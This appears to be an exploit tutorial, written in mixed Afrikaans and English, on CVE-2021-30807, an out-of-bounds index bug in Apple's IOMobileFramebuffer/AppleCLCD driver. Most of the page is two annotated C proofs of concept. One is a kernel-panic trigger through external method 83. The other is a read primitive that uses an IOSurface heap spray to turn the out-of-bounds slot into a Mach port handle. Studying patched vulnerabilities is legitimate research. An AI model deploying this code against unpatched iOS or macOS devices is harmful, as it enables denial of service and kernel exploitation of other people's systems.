CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 10 minutes

Die Kwesbaarheid

You have a great explanation of the vuln here, but as summary:

• The vulnerable code path is external method #83 of the IOMobileFramebuffer / AppleCLCD user client: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as scalar0.

• That method forwards into IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), where scalar0 (a user-controlled 32-bit value) is used as an index into an internal array of pointers without any bounds check:

ptr = *(this + 0xA58 + scalar0 * 8); → passed to IOSurfaceRoot::copyPortNameForSurfaceInTask(...) as an IOSurface*.
Result: OOB pointer read & type confusion on that array. If the pointer isn't valid, the kernel deref panics → DoS.

DoS PoC

Die volgende is die aanvanklike DoS PoC uit die oorspronklike blogpost met ekstra kommentaar:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC Explained

1. Om die regte user client te open

• get_appleclcd_uc() vind die AppleCLCD service en open user client type 2. AppleCLCD en IOMobileFramebuffer deel dieselfde external-methods tabel; type 2 gee toegang tot selector 83, die kwesbare metode. Dit is jou toegang tot die fout. E_POC/)

Waarom 83 saak maak: die gedecompileerde pad is:

• IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
  → IOMobileFramebufferUserClient::get_displayed_surface(...)
  → IOMobileFramebufferLegacy::get_displayed_surface(...)
  Binne daardie laaste oproep, die kode gebruik jou 32-bit scalar as 'n array index sonder bounds check, haal 'n pointer vanaf this + 0xA58 + index*8, en gee dit as 'n IOSurface* aan IOSurfaceRoot::copyPortNameForSurfaceInTask(...). Dit is die OOB + type confusion.

2. Die heap spray (why IOSurface shows up here)

• do_spray() gebruik IOSurfaceRootUserClient om baie IOSurfaces te skep en klein waardes te spray (s_set_value style). Dit vul nabygeleë kernel heaps met pointers na geldige IOSurface objects.

• Doel: wanneer selector 83 verby die legit tabel lees, bevat die OOB slot waarskynlik 'n pointer na een van jou (ware) IOSurfaces—sodat die latere dereference nie crash nie en slaag. IOSurface is 'n klassieke, goed-gedokumenteerde kernel spray primitive, en Saar se post lys eksplisiet die create / set_value / lookup metodes wat in hierdie eksploitasie vloei gebruik word.

3. Die "offset/8" truuk (wat daardie indeks werklik is)

• In trigger_oob(offset), stel jy scalars[0] = offset / 8.

• Waarom deel deur 8? Die kernel doen base + index*8 om te bereken watter pointer-sized slot om te lees. Jy kies "slot nommer N", nie 'n byte offset nie. Agt bytes per slot op 64-bit.

• Daardie berekende adres is this + 0xA58 + index*8. Die PoC gebruik 'n groot konstante (0x1200000 + 0x1048) eenvoudig om ver ver uit die perke te stap in 'n gebied wat jy probeer digtenns vul met IOSurface pointers. As die spray "wen," is die slot wat jy tref 'n geldige IOSurface*.

4. Wat selector 83 teruggee (dit is die subtiele deel)

• Die oproep is:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

• Intern, na die OOB pointer fetch, roep die driver
  IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

• Resultaat: output_scalars[0] is 'n Mach port name (u32 handle) in jou task vir watter objek pointer jy ook al via OOB voorsien het. Dit is nie 'n raw kernel address leak nie; dit is 'n userspace handle (send right). Hierdie presiese gedrag (om 'n port name te copy) word in Saar se decompilation getoon.

Waarom dit nuttig is: met 'n port name na die (vermeende) IOSurface, kan jy nou IOSurfaceRoot metodes gebruik soos:

• s_lookup_surface_from_port (method 34) → omskep die port in 'n surface ID wat jy met ander IOSurface oproepe kan opereer, en

• s_create_port_from_surface (method 35) as jy die inverse nodig het.
  Saar noem presies hierdie metodes as die volgende stap. Die PoC bewys dat jy 'n "geregistreerde" IOSurface handle kan "manufacture" vanaf 'n OOB slot. Saaramar

Hierdie PoC was taken from here en daar is kommentaar bygevoeg om die stappe te verduidelik:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Verwysings

• Oorspronklike writeup deur Saar Amar
• Exploit PoC code
• Navorsing deur jsherman212